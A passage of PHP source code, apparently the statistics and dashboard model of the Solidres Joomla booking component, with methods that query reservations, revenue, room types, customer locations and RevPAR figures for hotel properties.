CMSFactory::getApplication(); $this->isSite = $this->app->isClient('site'); $reservationAssets = $this->getReservationAssets(); $defaultAssetId = SRUtilities::getDefaultAssetId(); $hasDefaultAssetId = false; foreach ($reservationAssets as $asset) { if ($asset->id == $defaultAssetId) { $hasDefaultAssetId = true; break; } } if (!$hasDefaultAssetId && isset($reservationAssets[0])) { $defaultAssetId = (int) $reservationAssets[0]->id; } $this->reservationAssetId = (int) $this->app->getUserStateFromRequest('com_solidres.statistics.reservationAssetId', 'statistics_scope', $defaultAssetId, 'uint'); $this->solidresConfig = ComponentHelper::getParams('com_solidres'); $this->defaultDashboardStatuses = $this->solidresConfig->get('default_dashboard_statuses', array()); $this->statisticsStatuses = $this->solidresConfig->get('statistics_statuses', array()); $this->disabledStatuses = $this->app->getUserState('com_solidres.statistics.disabledStatuses', array()); $this->checkInOutStatus = $this->app->getUserState('com_solidres.statistics.checkInOutStatus', array(0, 1)); } public function getPartnerId() { static $partnerId = null; if (null === $partnerId) { $userId = (int) CMSFactory::getUser()->id; if ($userId < 1) { $partnerId = 0; return $partnerId; } $db = $this->getDbo(); $query = $db->getQuery(true) ->select('a.partner_id') ->from($db->quoteName('#__sr_reservation_assets', 'a')) ->join('INNER', $db->quoteName('#__sr_property_staff_xref', 'a2') . ' ON a2.property_id = a.id') ->where('a2.staff_id = ' . $userId); $partnerId = $db->setQuery($query)->loadResult(); if (empty($partnerId)) { $partnerId = SRUtilities::getPartnerId(); } $partnerId = $partnerId ? (int) $partnerId : 0; } return $partnerId; } /** * Get revenue, query data to be used by ajax call * * @return mixed * @since 0.5.0 */ public function getRevenue() { $statuses = $this->statisticsStatuses ?: array(1, 2, 3, 5); $reservationsModel = JModelLegacy::getInstance('Reservations', 'SolidresModel', array('ignore_request' => true)); $reservationsModel->setState('list.select', 'r.checkin, SUM(r.total_price_tax_incl) as total'); $reservationsModel->setState('range', $this->getState('range')); $reservationsModel->setState('startDateTime', $this->getState('startDateTime')); $reservationsModel->setState('endDateTime', $this->getState('endDateTime')); $reservationsModel->setState('groupby', 'r.checkin'); $reservationsModel->setState('list.ordering', 'r.checkin'); $reservationsModel->setState('filter.state', join(',', $statuses)); if ($this->isSite) { $reservationsModel->setState('filter.partner_id', $this->getPartnerId()); } if ($this->reservationAssetId > 0) { $reservationsModel->setState('filter.reservation_asset_id', (int) $this->reservationAssetId); } $results = $reservationsModel->getItems(); $data = array(); foreach ($results as $item) { $data[$item->checkin] = $item->total; } return $data; } /** * Get booking count, query data to be used by ajax call * * @return mixed * @since 0.5.0 */ public function getBookingCount() { $reservationsModel = JModelLegacy::getInstance('Reservations', 'SolidresModel', array('ignore_request' => true)); $reservationsModel->setState('list.select', 'r.checkin, count(*) as booking_number'); $reservationsModel->setState('range', $this->getState('range')); $reservationsModel->setState('startDateTime', $this->getState('startDateTime')); $reservationsModel->setState('endDateTime', $this->getState('endDateTime')); $reservationsModel->setState('groupby', 'r.checkin'); $reservationsModel->setState('list.ordering', 'r.checkin'); if ($this->isSite) { $reservationsModel->setState('filter.partner_id', $this->getPartnerId()); } if ($this->reservationAssetId > 0) { $reservationsModel->setState('filter.reservation_asset_id', (int) $this->reservationAssetId); } $results = $reservationsModel->getItems(); $data = array(); foreach ($results as $item) { $data[$item->checkin] = $item->booking_number; } return $data; } /** * Get top 5 room types, query data to be used by ajax call * * @return mixed * @since 0.5.0 */ public function getTop5RoomTypes() { $query = $this->_db->getQuery(true); $query->select('rtype.name as name, count(rtype.id) as count'); $query->from($this->_db->quoteName('#__sr_reservation_room_xref') . 'as reser'); $query->from($this->_db->quoteName('#__sr_rooms') . 'as roo'); $query->from($this->_db->quoteName('#__sr_room_types') . 'as rtype'); $query->from($this->_db->quoteName('#__sr_reservations') . 'as customer'); $query->where('reser.room_id = roo.id AND roo.room_type_id = rtype.id AND customer.id = reser.reservation_id'); if ($this->reservationAssetId > 0) { $query->where('rtype.reservation_asset_id = ' . (int) $this->reservationAssetId); } if ($this->isSite) { $query->from($this->_db->quoteName('#__sr_reservation_assets') . 'as ra'); $query->where('ra.id = rtype.reservation_asset_id AND ra.partner_id = ' . $this->getPartnerId()); } $range = $this->getState('range'); if (!empty($range)) { if ($range == 'today') { $query->where('DATE(customer.checkin) = DATE(NOW())'); } else if ($range == 'thisweek') { $query->where('WEEKOFYEAR(customer.checkin) = WEEKOFYEAR(NOW())'); } else if ($range == 'thismonth') { $query->where('MONTH(customer.checkin) = MONTH(NOW())'); } else if ($range == 'last3') { $query->where('MONTH(customer.checkin) >= (MONTH(NOW()) - 2)'); } else if ($range == 'last6') { $query->where('MONTH(customer.checkin) >= (MONTH(NOW()) - 5)'); } else if ($range == 'lastweek') { $query->where('WEEK(customer.checkin) = (WEEK(NOW()) - 1)'); } else if ($range == 'lastmonth') { $query->where('MONTH(customer.checkin) = (MONTH(NOW() - INTERVAL 1 MONTH))'); } else if ($range == 'lastyear') { $query->where('YEAR(customer.checkin) = (YEAR(NOW()) - 1)'); } else if ($range == 'customrange') { $query->where('customer.checkin >= ' . $this->_db->quote(date('Y-m-d', strtotime($this->getState('startDateTime')))) . ' AND customer.checkin <= ' . $this->_db->quote(date('Y-m-d', strtotime($this->getState('endDateTime'))))); } } $query->group('rtype.id'); $this->_db->setQuery($query); $results = $this->_db->loadObjectList(); $data = array(); foreach ($results as $item) { $data[$item->name] = (int) $item->count; } $data_sort = array(); if (arsort($data)) { $data_sort = array_slice($data, 0, 5); } return $data_sort; } public function getLifetimeSale() { $query = $this->_db->getQuery(true) ->select('SUM(a.total_paid)') ->from($this->_db->quoteName('#__sr_reservations', 'a')) ->where('a.payment_status = ' . (int) ComponentHelper::getParams('com_solidres')->get('confirm_payment_state', 1)); if ($this->isSite) { $query->join('INNER', $this->_db->quoteName('#__sr_reservation_assets', 'a2') . ' ON a2.id = a.reservation_asset_id AND a2.partner_id = ' . $this->getPartnerId()); } if ($this->reservationAssetId > 0) { $query->where('a.reservation_asset_id = ' . (int) $this->reservationAssetId); } $this->_db->setQuery($query); $totalPaid = $this->_db->loadResult() ?: 0.00; return (float) $totalPaid; } public function getTotalReservations() { $statuses = $this->statisticsStatuses ?: array(1, 5); $query = $this->_db->getQuery(true); $query->select('count(*) as TotalReservations'); $query->from($this->_db->quoteName('#__sr_reservations') . 'as re')->where('re.state IN (' . join(',', $statuses) . ')'); if ($this->isSite) { $query->join('INNER', $this->_db->quoteName('#__sr_reservation_assets') . ' AS ra ON ra.id = re.reservation_asset_id AND ra.partner_id = ' . $this->getPartnerId()); } if ($this->reservationAssetId > 0) { $query->where('re.reservation_asset_id = ' . (int) $this->reservationAssetId); } $this->_db->setQuery($query); return $this->_db->loadResult(); } public function getAverageBookingAmount() { $statuses = $this->statisticsStatuses ?: array(1, 5); $query = $this->_db->getQuery(true); $query->select('AVG(re.total_price_tax_incl) as AverageOfBookingAmount'); $query->from($this->_db->quoteName('#__sr_reservations') . 'as re')->where('re.state IN (' . join(',', $statuses) . ')'); if ($this->isSite) { $query->join('INNER', $this->_db->quoteName('#__sr_reservation_assets') . ' AS ra ON ra.id = re.reservation_asset_id AND ra.partner_id = ' . $this->getPartnerId()); } if ($this->reservationAssetId > 0) { $query->where('re.reservation_asset_id = ' . (int) $this->reservationAssetId); } $this->_db->setQuery($query); return $this->_db->loadResult(); } public function getLast5Bookings() { return $this->getLatestBookings(5); } public function getLatestBookings($limit = 5) { $reservationModel = JModelLegacy::getInstance('Reservations', 'SolidresModel', ['ignore_request' => true]); $reservationModel->setState('list.select', 'r.id as id, r.code as code, r.created_date, r.customer_id as id_customer, c.code_2 as customer_country_code, r.customer_firstname as firstname, r.customer_lastname as lastname, r.state as state, r.customer_country_id, r.checkin, r.checkout'); $reservationModel->setState('list.ordering', 'r.created_date'); $reservationModel->setState('list.direction', 'DESC'); $reservationModel->setState('list.start', 0); $reservationModel->setState('list.limit', $limit); if ($this->isSite) { $reservationModel->setState('filter.partner_id', $this->getPartnerId()); } if ($this->reservationAssetId > 0) { $reservationModel->setState('filter.reservation_asset_id', (int) $this->reservationAssetId); } return $reservationModel->getItems(); } /** * This is used in backend stats only therefore there are no checks for partner and scope * * @return mixed */ public function getTotalCustomers() { static $totalCustomers = null; if (null === $totalCustomers) { $query = $this->_db->getQuery(true) ->select('DISTINCT a.id') ->from($this->_db->quoteName('#__sr_customers', 'a')) ->join('INNER', $this->_db->quoteName('#__sr_reservations', 'a2') . ' ON a2.customer_id = a.id') ->join('INNER', $this->_db->quoteName('#__sr_reservation_assets', 'a3') . ' ON a3.id = a2.reservation_asset_id') ->group('a.id'); if ($this->reservationAssetId) { $query->where('a2.reservation_asset_id = ' . (int) $this->reservationAssetId); } if ($this->isSite) { $query->where('a3.partner_id = ' . $this->getPartnerId()); } $totalCustomers = count($this->_db->setQuery($query)->loadColumn()); } return $totalCustomers; } public function getReservationAssets($reset = false) { static $reservationAssets = null; if (null === $reservationAssets || $reset) { $db = $this->getDbo(); $query = $db->getQuery(true) ->select('a.id, a.name') ->from($db->quoteName('#__sr_reservation_assets', 'a')) ->where('a.state = 1'); if ($this->isSite) { $query->where('a.partner_id = ' . $this->getPartnerId()); } $db->setQuery($query); $reservationAssets = $db->loadObjectList() ?: []; } return $reservationAssets; } public function getTotalRoomTypes() { $query = $this->_db->getQuery(true); $query->select('Count(*) as totalRoomtypes'); $query->from($this->_db->quoteName('#__sr_room_types') . ' AS rt'); if ($this->isSite) { $query->join('INNER', $this->_db->quoteName('#__sr_reservation_assets') . ' as a On rt.reservation_asset_id = a.id AND a.partner_id = ' . $this->getPartnerId()); } if ($this->reservationAssetId > 0) { $query->where('rt.reservation_asset_id = ' . (int) $this->reservationAssetId); } $this->_db->setQuery($query); return $this->_db->loadResult(); } public function getTotalRooms() { $query = $this->_db->getQuery(true); $query->select('count(*) as totalRooms')->from($this->_db->quoteName('#__sr_rooms') . ' as r'); if ($this->isSite) { $query->join('INNER', $this->_db->quoteName('#__sr_room_types') . ' as rt ON rt.id = r.room_type_id'); $query->join('INNER', $this->_db->quoteName('#__sr_reservation_assets') . ' as a ON rt.reservation_asset_id = a.id AND a.partner_id = ' . $this->getPartnerId()); } if ($this->reservationAssetId > 0) { $query->join('INNER', $this->_db->quoteName('#__sr_room_types') . ' as rt2 ON rt2.id = r.room_type_id AND rt2.reservation_asset_id = ' . (int) $this->reservationAssetId); } $this->_db->setQuery($query); return $this->_db->loadResult(); } public function getUpcomingBookings($ordering, $limit = 0) { $date = CMSFactory::getDate(); $reservationModel = JModelLegacy::getInstance('Reservations', 'SolidresModel', ['ignore_request' => true]); $reservationModel->setState('list.select', 'r.id as id, r.code as code, r.created_date, r.customer_id as customer_id, c.code_2 as customer_country_code, r.customer_firstname as firstname, r.customer_lastname as lastname, r.state as state, r.customer_country_id, r.checkin, r.checkout'); if ('r.checkin' == $ordering) { $reservationModel->setState('filter.checkin_next_dates', $date->format('Y-m-d')); } elseif ('r.checkout' == $ordering) { $reservationModel->setState('filter.checkout_next_dates', $date->format('Y-m-d')); } $reservationModel->setState('filter.state', ComponentHelper::getParams('com_solidres')->get('confirm_state', 5)); $reservationModel->setState('list.direction', 'ASC'); $reservationModel->setState('list.start', 0); $reservationModel->setState('list.limit', $limit); if ($this->reservationAssetId > 0) { $reservationModel->setState('filter.reservation_asset_id', (int) $this->reservationAssetId); } if ($this->isSite) { $reservationModel->setState('filter.partner_id', $this->getPartnerId()); } $reservationModel->setState('list.ordering', $ordering); return $reservationModel->getItems(); } public function getUpcomingCheckin($limit = 5) { return $this->getUpcomingBookings('r.checkin', $limit); } public function getUpcomingCheckout($limit = 5) { return $this->getUpcomingBookings('r.checkout', $limit); } public function getCurrencyId() { $tableAsset = JTable::getInstance('ReservationAsset', 'SolidresTable'); $tableAsset->load($this->reservationAssetId); return $tableAsset->currency_id; } public function getRoomTypes() { static $roomTypes = null; if (null === $roomTypes) { $modelRoomTypes = JModelLegacy::getInstance('RoomTypes', 'SolidresModel', array('ignore_request' => true)); $modelRoomTypes->setState('filter.state', 1); $modelRoomTypes->setState('list.start', 0); $modelRoomTypes->setState('list.limit', 0); if ($this->reservationAssetId > 0) { $modelRoomTypes->setState('filter.reservation_asset_id', (int) $this->reservationAssetId); } if ($this->isSite) { $modelRoomTypes->setState('filter.partner_id', $this->getPartnerId()); } $roomTypes = $modelRoomTypes->getItems(); } return $roomTypes; } /** * @deprecated deprecated getRoomType use getRoomTypes instead * @since 0.5.0 */ public function getRoomType() { return $this->getRoomTypes(); } public function getRooms($roomTypeId = 0) { static $rooms = null; $roomTypeId = (int) $roomTypeId; if (null === $rooms) { $rooms = array(); $db = $this->getDbo(); $query = $db->getQuery(true) ->select('a.*') ->from($db->quoteName('#__sr_rooms', 'a')) ->order('a.label ASC'); $db->setQuery($query); if ($rows = $db->loadObjectList()) { foreach ($rows as $row) { $rooms[$row->room_type_id][] = $row; } } } return isset($rooms[$roomTypeId]) ? $rooms[$roomTypeId] : $rooms; } public function getBaseLinks() { static $baseLinks = null; if (null === $baseLinks) { $baseLinks = array(); $isFrontendPartner = $this->isFrontEndPartner(); $views = $isFrontendPartner ? ['dashboard', 'calendars'] : ['statistics']; if (!empty($_SERVER['HTTP_REFERER']) && JUri::isInternal($_SERVER['HTTP_REFERER']) ) { $uri = JUri::getInstance($_SERVER['HTTP_REFERER']); $router = clone $this->app->getRouter(); $vars = $router->parse($uri); if (isset($vars['option']) && $vars['option'] == 'com_solidres' && isset($vars['view']) && in_array($vars['view'], $views) ) { $return = base64_encode($_SERVER['HTTP_REFERER']); } } if (empty($return)) { $defaultView = $isFrontendPartner ? 'dashboard' : 'statistics'; $return = base64_encode(JRoute::_('index.php?option=com_solidres&view=' . $this->app->input->get('view', $defaultView), false)); } if ($isFrontendPartner) { $baseLinks['limitbooking'] = 'index.php?option=com_solidres&view=limitbookingform&layout=edit&return=' . $return; $baseLinks['reservation'] = 'index.php?option=com_solidres&view=reservationform&layout=edit&return=' . $return; } else { $baseLinks['limitbooking'] = 'index.php?option=com_solidres&view=limitbooking&layout=edit&return=' . $return; $baseLinks['reservation'] = 'index.php?option=com_solidres&task=reservationbase.edit&return=' . $return; } } return $baseLinks; } public function getLimitedBooking($fromDate, $toDate) { static $limitBooking = null; if (null === $limitBooking) { $limitBooking = array(); if (SRPlugin::isEnabled('limitbooking')) { $timezone = CMSFactory::getUser()->getTimezone(); $fromDate = CMSFactory::getDate($fromDate, $timezone)->format('Y-m-d', false, false); $toDate = CMSFactory::getDate($toDate, $timezone)->format('Y-m-d', false, false); $db = $this->getDbo(); $fromQuote = $db->quote($fromDate); $toQuote = $db->quote($toDate); $query = $db->getQuery(true) ->select('a.room_id AS roomId, a2.id, a2.title, a2.description, a2.start_date, a2.end_date, a3.room_type_id AS roomTypeId') ->from($db->quoteName('#__sr_limit_booking_details', 'a')) ->innerJoin($db->quoteName('#__sr_limit_bookings', 'a2') . ' ON a2.id = a.limit_booking_id') ->innerJoin($db->quoteName('#__sr_rooms', 'a3') . ' ON a3.id = a.room_id') ->where('a2.reservation_asset_id = ' . $this->reservationAssetId) ->where('a2.state = 1') ->where('((a2.start_date BETWEEN ' . $fromQuote . ' AND ' . $toQuote . ')' . ' OR (a2.end_date BETWEEN ' . $fromQuote . ' AND ' . $toQuote . ')' . ' OR (' . $fromQuote . ' BETWEEN a2.start_date AND a2.end_date)' . ' OR (' . $toQuote . ' BETWEEN a2.start_date AND a2.end_date))'); $db->setQuery($query); if ($rows = $db->loadObjectList()) { $baseLinks = $this->getBaseLinks(); foreach ($rows as $row) { try { $startDate = CMSFactory::getDate($row->start_date); $endDate = CMSFactory::getDate($row->end_date); $rangeDate = array(); while ((int) $startDate->diff($endDate)->format('%R%a') >= 0) { $rangeDate[] = $startDate->format('Y-m-d'); $startDate->add(new DateInterval('P1D')); } array_unshift($rangeDate, $row->start_date); array_push($rangeDate, $row->start_date); $row->rangeDate = array_values(array_unique($rangeDate)); $row->link = JRoute::_($baseLinks['limitbooking'] . '&id=' . $row->id, false); $limitBooking[] = $row; } catch (Exception $exception) { continue; } } } } } return $limitBooking; } public function getCustomerLocations() { static $locations = []; $partnerId = $this->getPartnerId(); $key = $partnerId . ':' . $this->reservationAssetId; if (isset($locations[$key])) { return $locations[$key]; } $db = $this->getDbo(); $query = $db->getQuery(true) ->select('a.customer_city, a.customer_coordinates') ->from($db->quoteName('#__sr_reservations', 'a')) ->where('a.state <> -2 AND a.customer_coordinates IS NOT NULL AND a.customer_coordinates <> ' . $db->quote('')); if ($this->isSite) { $query->innerJoin($db->quoteName('#__sr_reservation_assets', 'a2') . ' ON a2.id = a.reservation_asset_id') ->where('a2.partner_id = ' . $partnerId); } if ($this->reservationAssetId > 0) { $query->where('a.reservation_asset_id = ' . (int) $this->reservationAssetId); } $db->setQuery($query); $locations[$key] = array(); if ($coordinates = $db->loadObjectList()) { foreach ($coordinates as $coordinate) { if (!empty($coordinate->customer_city)) { $location = json_decode($coordinate->customer_coordinates, true); if (!empty($location['results'])) { foreach ($location['results'] as $result) { $address = $coordinate->customer_city; if (!isset($locations[$key][$address]['latLng'])) { $locations[$key][$address]['latLng'] = array_values($result['geometry']['location']); $locations[$key][$address]['name'] = $address . '(1)'; $locations[$key][$address]['count'] = 1; } else { $locations[$key][$address]['count']++; $locations[$key][$address]['name'] = $address . '(' . $locations[$key][$address]['count'] . ')'; } } } } } } return $locations[$key]; } public function getStatuses() { static $statuses = null; if (null === $statuses) { JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_solidres/models', 'SolidresModel'); $statusesModel = JModelLegacy::getInstance('Statuses', 'SolidresModel', array('ignore_request' => true)); $statusesModel->setState('filter.state', 1); $statusesModel->setState('filter.scope', 0); $statusesModel->setState('filter.type', 0); $statusesModel->setState('list.select', 'a.code, a.color_code, a.label'); $statusesModel->setState('list.ordering', 'a.ordering'); $statusesModel->setState('list.direction', 'asc'); $statuses = $statusesModel->getItems(); } return $statuses; } public function getStateColors() { static $colors = null; if (null === $colors) { $colors = array(); foreach ($this->getStatuses() as $status) { if (!$this->defaultDashboardStatuses || in_array($status->code, $this->defaultDashboardStatuses)) { $code = (int) $status->code; $status->disabled = in_array($code, $this->disabledStatuses); $colors[$code] = $status; } } } return $colors; } public function getReservations($fromDate, $toDate, $forceNew = false) { static $reservations = null; if (null === $reservations || $forceNew) { if (!$forceNew) { $reservations = array(); } if ($defaultDashboardStatuses = array_keys($this->getStateColors())) { if ($this->disabledStatuses) { foreach ($defaultDashboardStatuses as $k => $v) { if (in_array($v, $this->disabledStatuses)) { unset($defaultDashboardStatuses[$k]); } } $defaultDashboardStatuses = array_values($defaultDashboardStatuses); } } if (!empty($defaultDashboardStatuses)) { $timezone = CMSFactory::getUser()->getTimezone(); $fromDate = CMSFactory::getDate($fromDate, $timezone)->format('Y-m-d', false, false); $toDate = CMSFactory::getDate($toDate, $timezone)->format('Y-m-d', false, false); $db = $this->getDbo(); $fromQuote = $db->quote($fromDate); $toQuote = $db->quote($toDate); $query = $db->getQuery(true) ->select('a.id, a.checkin, a.checkout, a.state, a.customer_email, a.customer_phonenumber, a.customer_mobilephone, a.total_extra_price_tax_incl, a.checkinout_status, ' . ' a.tourist_tax_amount, a.discount_pre_tax, a.total_price_tax_excl, a.tax_amount, a.tax_amount, a.currency_id, a3.room_id AS roomId, a4.room_type_id AS roomTypeId, ' . ' a.deposit_amount, a.total_discount, a.customer_firstname, a.customer_middlename, a.customer_lastname, a.code, a3.room_label, a3.guest_fullname, a.booking_type, a.checkinout_status') ->from($db->quoteName('#__sr_reservations', 'a')) ->innerJoin($db->quoteName('#__sr_reservation_assets', 'a2') . ' ON a2.id = a.reservation_asset_id') ->innerJoin($db->quoteName('#__sr_reservation_room_xref', 'a3') . ' ON a3.reservation_id = a.id') ->innerJoin($db->quoteName('#__sr_rooms', 'a4') . ' ON a4.id = a3.room_id') ->where('((a.checkin BETWEEN ' . $fromQuote . ' AND ' . $toQuote . ')' . ' OR (a.checkout BETWEEN ' . $fromQuote . ' AND ' . $toQuote . ')' . ' OR (' . $fromQuote . ' BETWEEN a.checkin AND a.checkout)' . ' OR (' . $toQuote . ' BETWEEN a.checkin AND a.checkout))') ->where('a.reservation_asset_id = ' . (int) $this->reservationAssetId) ->where('a.state IN (' . join(',', $defaultDashboardStatuses) . ')') ->order('a.created_date DESC'); if ($this->checkInOutStatus) { $query->where('(a.checkinout_status IS NULL OR a.checkinout_status IN (' . join(',', $this->checkInOutStatus) . '))'); } $db->setQuery($query); if ($rows = $db->loadObjectList()) { $statuses = $this->getStateColors(); $dateFormat = $this->solidresConfig->get('date_format', 'd-m-Y'); $baseLinks = $this->getBaseLinks(); $timezone = CMSFactory::getUser()->getTimezone(); foreach ($rows as $row) { try { $checkin = CMSFactory::getDate($row->checkin, $timezone); $checkout = CMSFactory::getDate($row->checkout, $timezone); $row->rangeDate = array(); while ((int) $checkin->diff($checkout)->format('%R%a') > 0) { $row->rangeDate[] = $checkin->format('Y-m-d', true); $checkin->add(new DateInterval('P1D')); } $row->rangeDate[] = $checkout->format('Y-m-d', true); $row->stateColor = @$statuses[$row->state]; if ($row->discount_pre_tax) { $grandTotal = (float) $row->total_price_tax_excl - (float) $row->total_discount + (float) $row->tax_amount + (float) $row->total_extra_price_tax_incl; } else { $grandTotal = (float) $row->total_price_tax_excl + (float) $row->tax_amount - (float) $row->total_discount + (float) $row->total_extra_price_tax_incl; } $grandTotal += (float) $row->tourist_tax_amount; $currency = new SRCurrency($grandTotal, $row->currency_id); $row->grandTotalFormatted = $currency->format(); $currency->setValue($row->deposit_amount); $row->depositAmountFormatted = $currency->format(); $currency->setValue($row->tax_amount); $row->taxAmountFormatted = $currency->format(); $currency->setValue($row->total_price_tax_excl); $row->roomCostFormatted = $currency->format(); $row->checkin = CMSFactory::getDate($row->checkin, $timezone)->format('Y-m-d', true); $row->checkout = CMSFactory::getDate($row->checkout, $timezone)->format('Y-m-d', true); $row->checkinFormatted = CMSFactory::getDate($row->checkin, $timezone)->format($dateFormat, true); $row->checkoutFormatted = CMSFactory::getDate($row->checkout, $timezone)->format($dateFormat, true); $customerName = array(); if ($row->customer_firstname) { $customerName[] = $row->customer_firstname; } if ($row->customer_middlename) { $customerName[] = $row->customer_middlename; } if ($row->customer_lastname) { $customerName[] = $row->customer_lastname; } $row->customerName = join(' ', $customerName); $row->link = JRoute::_($baseLinks['reservation'] . '&id=' . $row->id, false); } catch (Exception $e) { } } if ($forceNew) { return $rows; } $reservations = $rows; } } } return $reservations; } public function getFields() { static $fields = null; if (null === $fields) { $fields = array(); if (SRPlugin::isEnabled('customfield')) { $categories = array(); if ($this->reservationAssetId > 0) { $db = $this->getDbo(); $query = $db->getQuery(true) ->select('a.category_id') ->from($db->quoteName('#__sr_reservation_assets', 'a')) ->where('a.id = ' . $this->reservationAssetId); $db->setQuery($query); if ($cid = $db->loadResult()) { $categories = array((int) $cid); } } $fields = SRCustomFieldHelper::findFields(array('context' => 'com_solidres.customer'), $categories); } } return $fields; } public function getCustomersBySearchTerm($searchTerm) { try { if (!SRPlugin::isEnabled('user')) { throw new RuntimeException('Plugin Solidres User isn\'t enabled'); } $db = $this->getDbo(); $search = $db->quote('%' . $db->escape($searchTerm, true) . '%'); $query = $db->getQuery(true) ->select('a.id, a.user_id, a.firstname, a.middlename, a.lastname, a2.name AS groupName, u.name, u.email') ->from($db->quoteName('#__sr_customers', 'a')) ->leftJoin($db->quoteName('#__sr_customer_groups', 'a2') . ' ON a2.id = a.customer_group_id') ->leftJoin($db->quoteName('#__users', 'u') . ' ON u.id = a.user_id') ->where('a.customer_code LIKE ' . $search . ' OR a.firstname LIKE ' . $search . ' OR a.middlename LIKE ' . $search . ' OR a.lastname LIKE ' . $search . ' OR u.email LIKE ' . $search . ' OR u.username LIKE ' . $search . ' OR u.name LIKE ' . $search ); $results = array(); $db->setQuery($query); if ($rows = $db->loadObjectList()) { $fieldEnabled = SRPlugin::isEnabled('customfield'); $statuses = $this->getStatuses(); foreach ($rows as $row) { $name = array(); if ($row->firstname) { $name[] = trim($row->firstname); } if ($row->middlename) { $name[] = trim($row->middlename); } if ($row->lastname) { $name[] = trim($row->lastname); } if ($name) { $row->name = join(' ', $name); } $row->groupName = $row->groupName ?: JText::_('SR_GENERAL_CUSTOMER_GROUP'); $row->label = $row->name . ' (' . $row->id . ' ' . $row->groupName . ')'; $row->fieldEnabled = (bool) $fieldEnabled; $fields = array(); $data = array(); if ($fieldEnabled) { if ($fieldsValues = SRCustomFieldHelper::getValues(array('context' => 'com_solidres.customer.profile.' . $row->user_id))) { foreach ($fieldsValues as $fieldsValue) { if ($name = $fieldsValue->field->get('field_name')) { $data[$name] = isset($fieldsValue->orgValue) ? $fieldsValue->orgValue : $fieldsValue->value; } } } $fields = $this->getFields(); } if (!isset($data['customer_email'])) { $data['customer_email'] = $row->email; } SRCustomFieldHelper::loadData($data); $row->formFieldsHtml = SRLayoutHelper::render('statistics.bookform.form', array( 'fields' => $fields, 'statuses' => $statuses, )); $results[] = $row; } } return $results; } catch (RuntimeException $e) { $this->setError($e->getMessage()); return false; } } public function getWeek($date, $timezone = null) { $timezone = $timezone ?: CMSFactory::getUser()->getTimeZone(); $params = JComponentHelper::getParams('com_solidres'); $weekStartDay = $params->get('week_start_day', 1) == 1 ? 'Mon' : 'Sun'; $jDate = CMSFactory::getDate($date, $timezone); $stamp = $jDate->format('D', true); $timestamp = strtotime($date); if ($weekStartDay == 'Mon') { // start week if (date('D', $timestamp) == $weekStartDay) { $weekStart = $date; } else { $weekStart = CMSFactory::getDate(strtotime('Last Monday', $timestamp), $timezone)->format('Y-m-d', true); } // end week if ($stamp == 'Sun') { $weekEnd = $date; } else { $weekEnd = CMSFactory::getDate(strtotime('Next Sunday', $timestamp), $timezone)->format('Y-m-d', true); } } else // $weekStartDay=Sun { // start week if (date('D', $timestamp) == $weekStartDay) { $weekStart = $date; } else { $weekStart = $weekStart = CMSFactory::getDate(strtotime('Last Sunday', $timestamp), $timezone)->format('Y-m-d', true); } // end week if ($stamp == 'Sat') { $weekEnd = $date; } else { $weekEnd = $weekEnd = CMSFactory::getDate(strtotime('Next Saturday', $timestamp), $timezone)->format('Y-m-d', true); } } return array($weekStart, $weekEnd); } public function isFrontEndPartner() { if ($this->isSite) { foreach ($this->getReservationAssets(true) as $asset) { if ((int) $asset->id === $this->reservationAssetId) { return true; } } } return false; } public function getRevPARData($roomTypeId, CMSDate $from, CMSDate $to) { $roomTypeId = (int) $roomTypeId; $db = $this->getDbo(); $query = $db->getQuery(true) ->select('a.id, a.label, a2.name AS roomTypeName') ->from($db->quoteName('#__sr_rooms', 'a')) ->join('INNER', $db->quoteName('#__sr_room_types', 'a2') . ' ON a2.id = a.room_type_id'); if ($roomTypeId > 0) { $query->where('a.room_type_id = ' . $roomTypeId); } $rooms = $db->setQuery($query)->loadObjectList('id'); if (empty($rooms)) { throw new RuntimeException('No rooms found.'); } $query->clear() ->select('a.room_id, a.reservation_id, a.room_price_tax_incl, a2.checkout') ->from($db->quoteName('#__sr_reservation_room_xref', 'a')) ->join('INNER', $db->quoteName('#__sr_reservations', 'a2') . ' ON a2.id = a.reservation_id') ->where('a2.checkout BETWEEN ' . $db->quote($from->toSql()) . ' AND ' . $db->quote($to->toSql())) ->where('a.room_id IN (' . join(',', array_keys($rooms)) . ')') ->order('a2.checkout ASC'); if ($this->isFrontEndPartner()) { $query->join('INNER', $db->quoteName('#__sr_reservation_assets', 'a5') . ' ON a5.id = a2.reservation_asset_id') ->where('a5.partner_id = ' . $this->getPartnerId()); } $params = ComponentHelper::getParams('com_solidres'); $query->where('a2.state = ' . $db->quote($params->get('confirm_state', 5))) ->where('a2.payment_status = ' . $db->quote($params->get('confirm_payment_state', 1))); $db->setQuery($query); $rows = $db->loadObjectList(); $tz = CMSFactory::getUser()->getTimezone(); $data = []; $revParData = []; $totalRooms = count($rooms); $dateFormat = $params->get('date_format', 'd-m-Y'); foreach($rows as $row) { try { $date = CMSFactory::getDate($row->checkout, 'UTC'); $date->setTimezone($tz); $date = $date->format($dateFormat); $price = (float) $row->room_price_tax_incl; $query->clear() ->select('SUM(a.extra_price * a.extra_quantity)') ->from($db->quoteName('#__sr_reservation_room_extra_xref', 'a')) ->join('INNER', $db->quoteName('#__sr_extras', 'a2') . ' ON a2.id = a.extra_id') ->where('a.reservation_id = ' . (int) $row->reservation_id) ->where('a.room_id = ' . (int) $row->room_id); $db->setQuery($query); if ($extra = $db->loadResult()) { $price += (float) $extra; } $data[$date][$row->room_id] = $price; } catch (Exception $e) { } } foreach($data as $date => $roomsPrice) { $totalSoldRooms = 0; $totalSoldPrice = 0.00; foreach($roomsPrice as $roomPrice) { $totalSoldRooms++; $totalSoldPrice += (float) $roomPrice; } if ($totalSoldRooms > 0) { $occupancy = $totalSoldRooms / $totalRooms; $averagePrice = $totalSoldPrice / $totalSoldRooms; $revParData[$date] = [ 'occupancy' => $occupancy, 'adr' => $averagePrice, 'revPAR' => $averagePrice * $occupancy, ]; } } $query->clear() ->select('a.room_id, a.reservation_id, a.room_price_tax_incl') ->from($db->quoteName('#__sr_reservation_room_xref', 'a')) ->join('INNER', $db->quoteName('#__sr_reservations', 'a2') . ' ON a2.id = a.reservation_id') ->where('a.reservation_id = 110') ->where('a2.checkout BETWEEN ' . $db->quote($from->toSql()) . ' AND ' . $db->quote($to->toSql())); return [ array_values($rooms), $revParData, ]; } public function getOriginsData() { $db = $this->getDbo(); $query = $db->getQuery(true) ->select('a.name, a.color, COUNT(a2.origin_id) AS count') ->from($db->quoteName('#__sr_origins', 'a')) ->join('INNER', $db->quoteName('#__sr_reservations', 'a2') . ' ON a2.origin_id = a.id AND a.scope = 0') ->where('a2.state <> -2 AND a2.reservation_asset_id = 